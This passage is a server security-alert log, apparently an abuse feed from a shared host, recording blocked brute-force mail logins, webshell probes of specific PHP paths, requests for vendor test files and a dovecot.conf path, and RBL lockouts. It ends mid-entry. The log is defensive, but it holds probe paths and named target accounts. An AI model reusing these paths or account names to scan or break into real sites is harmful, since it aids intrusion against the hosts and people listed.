2026-01-13 06:00:42 dovecot_login authenticator failed for H=([127.0.0.1]) [27.74.237.1]:28138: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 06:01:50 H=([45.144.212.242]) [45.144.212.242]:56005 F=<no_reply@admin.com> rejected RCPT <info@pspoly.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 06:02:32 H=([45.144.212.242]) [45.144.212.242]:63137 F=<no_reply@admin.com> rejected RCPT <tst@tst-ma.com>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 139.180.7.61
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:06-06.139.180.7.61||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 06:05:14 H=([45.144.212.242]) [45.144.212.242]:60049 F=<no_reply@admin.com> rejected RCPT <info@pftfood.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.181.3.203
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/car/14/393/1429136 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 06:07:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58792: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 06:07:00 H=([45.144.212.242]) [45.144.212.242]:54053 F=<no_reply@admin.com> rejected RCPT <support@langkawiconstructions.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 06:07:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58793: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.44.212.208
country_id: 6252001
description:
2026-01-13 06:08:55 dovecot_login authenticator failed for H=([127.0.0.1]) [38.44.212.208]:44432: 535 Incorrect authentication data (set_id=info@piaukee.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.130
country_id: 3175395
description:
Jan 13 06:10:59 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.130 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.75
country_id: 1880251
domain: dynamic-hr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/solution-new.php||SC:/home2/dynamichrcom/public_html/images/solution-new.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cdn-cgi/l/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.130
country_id: 3175395
description:
Jan 13 06:11:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.141.61.63
country_id: 1814991
description:
2026-01-13 06:12:20 dovecot_login authenticator failed for H=([211.141.61.62]) [211.141.61.63]:53452: 535 Incorrect authentication data (set_id=william.goh@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.141.61.63
country_id: 1814991
description:
Jan 13 06:12:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.141.61.63 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/career.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.90.128.97
country_id: 6252001
description:
Jan 13 06:15:52 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.90.128.97 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.90.128.97
country_id: 6252001
description:
2026-01-13 06:15:54 dovecot_login authenticator failed for H=(syn-172-090-128-097.res.spectrum.com) [172.90.128.97]:51914: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.232.188.10
country_id: 3144096
description:
Jan 13 06:16:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.232.188.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.188.10
country_id: 3144096
description:
2026-01-13 06:16:10 dovecot_login authenticator failed for H=(cm-178.232.188.10.get.no) [178.232.188.10]:52855: 535 Incorrect authentication data (set_id=ahmad.asif)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 20.215.220.118
country_id: 798544
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/var/run/dovecot/dovecot.conf||User:root||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/plug/sms/img/img/new-development.php||SC:/home2/pspolycom/public_html/plug||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/news-n-events/img/img/img/img/img/demos/about.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.140.161.194
country_id: 3686110
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/debug/Tests/ExceptionHandlerTest.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.32.107.6
country_id: 290557
description:
Jan 13 06:25:06 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.32.107.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.107.6
country_id: 290557
description:
2026-01-13 06:25:08 dovecot_plain authenticator failed for H=(areaereele) [5.32.107.6]:33020: 535 Incorrect authentication data (set_id=kimeam.lim@tujusetia.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/images/sliders/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 06:32:25 H=([45.144.212.242]) [45.144.212.242]:53760 F=<no_reply@admin.com> rejected RCPT <sales@hmz.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 06:35:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58814: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 06:35:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58815: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.179.189.15
country_id: 3469034
description:
Jan 13 06:37:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.179.189.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.145.51.84
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:06-37.198.145.51.84||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.32.91
country_id: 798544
description:
Jan 13 06:40:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.32.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 155.133.56.74
country_id: 798544
description:
Jan 13 06:55:31 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 155.133.56.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.216
country_id: 3175395
description:
Jan 13 06:56:17 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.216 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 06:57:39 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.249.215.161
country_id: 6252001
domain: www.euratech.com.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.62||T:APACHE||RA:173.249.215.161||TA:173.249.215.161||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.207.0
country_id: 1562822
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/news-more.php?id=274446 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 07:03:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58838: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.217.146.202
country_id: 3469034
domain: webmail.fimco.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/webmail.fimco.com.my/cgi-bin HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 07:02:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 108.165.182.86
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:07-02.108.165.182.86||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.237.123.171
country_id: 99237
domain: webmail.fimco.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/webmail.fimco.com.my/cgi-bin/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 07:03:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58839: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.113.127.145
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/translation/phpunit.xml.dist HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.241.173.94
country_id: 3996063
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.3
country_id: 1814991
description:
2026-01-13 07:07:06 dovecot_login authenticator failed for H=([111.61.177.3]) [111.61.177.3]:42948: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/malaysia-infinity-design-projects/img/druma_photos/team.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.204.134.124
country_id: 6252001
description:
Jan 13 07:06:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.204.134.124 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.244.8.155
country_id: 2589581
domain: maalloys.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/maalloys.com.my/qa.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.204.134.124
country_id: 6252001
description:
2026-01-13 07:06:49 dovecot_plain authenticator failed for H=c-98-204-134-124.hsd1.md.comcast.net (emovel) [98.204.134.124]:53066: 535 Incorrect authentication data (set_id=suetyee.chang@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.3
country_id: 1814991
description:
Jan 13 07:07:04 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.209.48.203
country_id: 1814991
description:
Jan 13 07:07:49 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.209.48.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.144.86
country_id: 6252001
description:
2026-01-13 07:07:51 dovecot_login authenticator failed for H=24-119-144-86.cpe.sparklight.net [24.119.144.86]:52872: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
country_id: 1814991
description:
2026-01-13 07:07:51 dovecot_login authenticator failed for H=([221.209.48.203]) [221.209.48.203]:54348: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.65.118.172
country_id: 357994
description:
2026-01-13 07:11:36 dovecot_plain authenticator failed for H=(calitered) [41.65.118.172]:49900: 535 Incorrect authentication data (set_id=khaisian.you@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.65.118.172
country_id: 357994
description:
Jan 13 07:11:34 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.65.118.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.236.122
country_id: 1269750
description:
Jan 13 07:14:06 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.236.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.236.122
country_id: 1269750
description:
2026-01-13 07:14:08 dovecot_login authenticator failed for H=([152.52.236.122]) [152.52.236.122]:52616: 535 Incorrect authentication data (set_id=accounting@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.72.235.193
country_id: 2017370
description:
Jan 13 07:14:25 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.72.235.193 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.72.235.193
country_id: 2017370
description:
2026-01-13 07:14:27 dovecot_login authenticator failed for H=(4c5e0c0de7c6.mldns.ru) [109.72.235.193]:56488: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.224.171.101
country_id: 6252001
description:
2026-01-13 07:18:20 dovecot_plain authenticator failed for H=c-73-224-171-101.hsd1.fl.comcast.net (cenevast) [73.224.171.101]:58974: 535 Incorrect authentication data (set_id=support@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.224.171.101
country_id: 6252001
description:
Jan 13 07:18:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.224.171.101 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/img/photos/img/photos/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.127.53.61
country_id: 6252001
description:
Jan 13 07:20:48 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.127.53.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.127.53.61
country_id: 6252001
description:
2026-01-13 07:20:50 dovecot_plain authenticator failed for H=c-24-127-53-61.hsd1.mi.comcast.net (unnias) [24.127.53.61]:54072: 535 Incorrect authentication data (set_id=sales2@ocned.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.85.202.86
country_id: 1814991
description:
Jan 13 07:22:52 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.85.202.86 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.85.202.86
country_id: 1814991
description:
2026-01-13 07:22:54 dovecot_login authenticator failed for H=([222.85.202.86]) [222.85.202.86]:36808: 535 Incorrect authentication data (set_id=boss@astlog.com.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 167.160.76.48
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:07-25.167.160.76.48||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.60.77.128
country_id: 6252001
description:
Jan 13 07:27:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.60.77.128 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.60.77.128
country_id: 6252001
description:
2026-01-13 07:27:53 dovecot_plain authenticator failed for H=c-68-60-77-128.hsd1.mi.comcast.net (comiter) [68.60.77.128]:60326: 535 Incorrect authentication data (set_id=tankimmeng@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.2.157
country_id: 690791
description:
Jan 13 07:28:17 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.2.157 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 147.185.132.109
country_id: 6252001
description:
2026-01-13  7:29:30 2501867 [Warning] Aborted connection 2501867 to db: 'unconnected' user: 'unauthenticated' host: '147.185.132.109' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 07:31:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58869: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.108.141.166
country_id: 660013
description:
2026-01-13 07:31:13 dovecot_plain authenticator failed for H=static.166.141.108.65.clients.your-server.de (WIN-1RRV83LLLRK.server141166.99rdp) [65.108.141.166]:52844: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 07:31:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58870: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/images/sliders/osl.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/img/demos/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/images/sitemap.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.237.119.201
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/app/Http/Requests/Admin/UpdateRolesRequest.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 67.205.153.107
country_id: 6252001
description:
2026-01-13  7:37:09 2502357 [Warning] Aborted connection 2502357 to db: 'unconnected' user: 'unauthenticated' host: '67.205.153.107' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.62
country_id: 3175395
description:
Jan 13 07:40:54 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.84.41.157
country_id: 3686110
domain: langkawiconstructions.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/langkawiconstructions.com/slide-page/construction-work HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 114.119.130.12
country_id: 1880251
domain: www.appointment.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/mockery/mockery/travis/extra.ini||User:visoftcom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.240
country_id: 3469034
description:
Jan 13 07:47:59 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.240
country_id: 3469034
description:
Jan 13 07:48:13 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.240 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-13 07:48:59 H=(localhost.localdomain) [78.153.140.207]:36626 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 47.251.13.59
country_id: 6252001
description:
2026-01-13  7:49:36 2502985 [Warning] Aborted connection 2502985 to db: 'unconnected' user: 'unauthenticated' host: '47.251.13.59' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/career.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.153.127.152
country_id: 3625428
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/JsonResponse.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
